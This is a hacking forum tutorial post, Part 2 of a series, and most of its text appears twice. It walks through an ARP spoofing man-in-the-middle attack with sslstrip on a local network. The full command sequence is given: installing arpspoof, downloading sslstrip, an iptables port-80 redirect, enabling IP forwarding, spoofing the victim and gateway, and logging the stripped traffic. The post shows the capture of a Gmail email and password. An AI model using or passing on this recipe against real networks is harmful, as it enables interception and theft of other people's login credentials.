Dec 23, 2011 06:04 PM
(This post was last modified: May 27, 2012 10:07 PM by Bhalgorn.)
Part 2
Part 1 here
Note: this attack will only work in your LAN not over the internet.
Under adapter 1 you are going to change the setting 'Attached to:' from NAT to Bridged Adapter and select the network interface that connects to the rest of your LAN.
Spoiler (Click to View)
Hit ok and restart the virtual machine.
once you have logged in open terminal.
Applications-> Accessories-> Terminal
Spoiler (Click to View)
Once open type this into the command line.
it will then ask for you password then if you want to continue.
this will now download and install arpspoof.
Spoiler (Click to View)
Now we need to download ssl strip.
in a terminal window type out this command.
Spoiler (Click to View)
we will come back to ssl strip later
We now need to extract the archive.
in a terminal window type this
Spoiler (Click to View)
We now need to wright a iptable rule to route all http requests coming in on port 80 to ssl strip which will be running on port 8080.
in a terminal window type this.
Spoiler (Click to View)
We now need to enable packet forwarding.
In a terminal window type this.
this allows you to edit system files.
now type
Spoiler (Click to View)
Now we are all set to start the attack :)
I would like to note that this for of attack will ONLY work on a local network and not over the internet.
first we need to find the networks gateway, use this command.
The gateway ip will be in the bottom row under the gateway column.
Spoiler (Click to View)
You will now need the victims ip, i am not going to go over how to acquire one in this tutorial(i will be using my laptop as a victim).
We can now start the MitM attack with this command.
Spoiler (Click to View)
It should start spiting out arp reply messages.
This fools the router to send you all the traffic going to the victim.
Now we need to start ssl strip make sure you do this in a new window.
now i have put in a few arguments into the command: -f -l -w
-f replaces the favicon with a lock (it wont put https though), -l specifies what port sslstrip is to listen on and -w tells it write everything to a specified file.
Spoiler (Click to View)
Now we want to see what sslstrip is writing into ssllog.log
open a new window and type this
Spoiler (Click to View)
The window should be blank since there is nothing currently in the file.
Im going to go over to my laptop and log into gmail and see if has worked.
If it has worked HTTPS in the URL bar should be replaced by HTTP. 95% of the time people will over look this.
I will also note that any https sessions than have existed before ssl strip was started will say encrypted.
Spoiler (Click to View)
Enter some random email and password and try sign in.
Spoiler (Click to View)
Now go back to your Linux machine and it should show up.
Spoiler (Click to View)
If all went well you should now have sniffed the email and password from gmail.
this will happen to any site with ssl. sslstrip may encounter an error on some sites but 99% of the time it will continue as normal.
Thank you for reading. if you need any help or have any problems feel free to post here, pm me or contact me on skype (skypename: iamtheobelisk)
Once again thank you and have a nice day HF.
This tutorial is for educational purposes only.
Do NOT copy this tutorial onto any other forum/blog/website.
Part 1 here
Note: this attack will only work in your LAN not over the internet.
Under adapter 1 you are going to change the setting 'Attached to:' from NAT to Bridged Adapter and select the network interface that connects to the rest of your LAN.
Spoiler (Click to View)
Hit ok and restart the virtual machine.
once you have logged in open terminal.
Applications-> Accessories-> Terminal
Spoiler (Click to View)
Once open type this into the command line.
Code
sudo apt-get install dsniffthis will now download and install arpspoof.
Spoiler (Click to View)
Now we need to download ssl strip.
in a terminal window type out this command.
Code
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gzSpoiler (Click to View)
we will come back to ssl strip later
We now need to extract the archive.
in a terminal window type this
Code
tar zxvf sslstrip-0.9.tar.gzSpoiler (Click to View)
We now need to wright a iptable rule to route all http requests coming in on port 80 to ssl strip which will be running on port 8080.
in a terminal window type this.
Code
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080Spoiler (Click to View)
We now need to enable packet forwarding.
In a terminal window type this.
Code
sudo -inow type
Code
echo "1" > /proc/sys/net/ipv4/ip_forwardSpoiler (Click to View)
Now we are all set to start the attack :)
I would like to note that this for of attack will ONLY work on a local network and not over the internet.
first we need to find the networks gateway, use this command.
Code
route -nSpoiler (Click to View)
You will now need the victims ip, i am not going to go over how to acquire one in this tutorial(i will be using my laptop as a victim).
We can now start the MitM attack with this command.
Code
sudo arpspoof -i eth0 -t <victim's ip> <gateway>Spoiler (Click to View)
It should start spiting out arp reply messages.
This fools the router to send you all the traffic going to the victim.
Now we need to start ssl strip make sure you do this in a new window.
Code
sudo python sslstrip-0.9/sslstrip.py -f -l 8080 -w ssllog.log-f replaces the favicon with a lock (it wont put https though), -l specifies what port sslstrip is to listen on and -w tells it write everything to a specified file.
Spoiler (Click to View)
Now we want to see what sslstrip is writing into ssllog.log
open a new window and type this
Code
sudo tail -F ssllog.logSpoiler (Click to View)
The window should be blank since there is nothing currently in the file.
Im going to go over to my laptop and log into gmail and see if has worked.
If it has worked HTTPS in the URL bar should be replaced by HTTP. 95% of the time people will over look this.
I will also note that any https sessions than have existed before ssl strip was started will say encrypted.
Spoiler (Click to View)
Enter some random email and password and try sign in.
Spoiler (Click to View)
Now go back to your Linux machine and it should show up.
Spoiler (Click to View)
If all went well you should now have sniffed the email and password from gmail.
this will happen to any site with ssl. sslstrip may encounter an error on some sites but 99% of the time it will continue as normal.
Thank you for reading. if you need any help or have any problems feel free to post here, pm me or contact me on skype (skypename: iamtheobelisk)
Once again thank you and have a nice day HF.
This tutorial is for educational purposes only.
Do NOT copy this tutorial onto any other forum/blog/website.
[img]http://s18.postimage.org/mcbkymb49/the_obelisk_sig.png[/img]


![[Image: sQQA0SQ.jpg]](https://i.imgur.com/sQQA0SQ.jpg)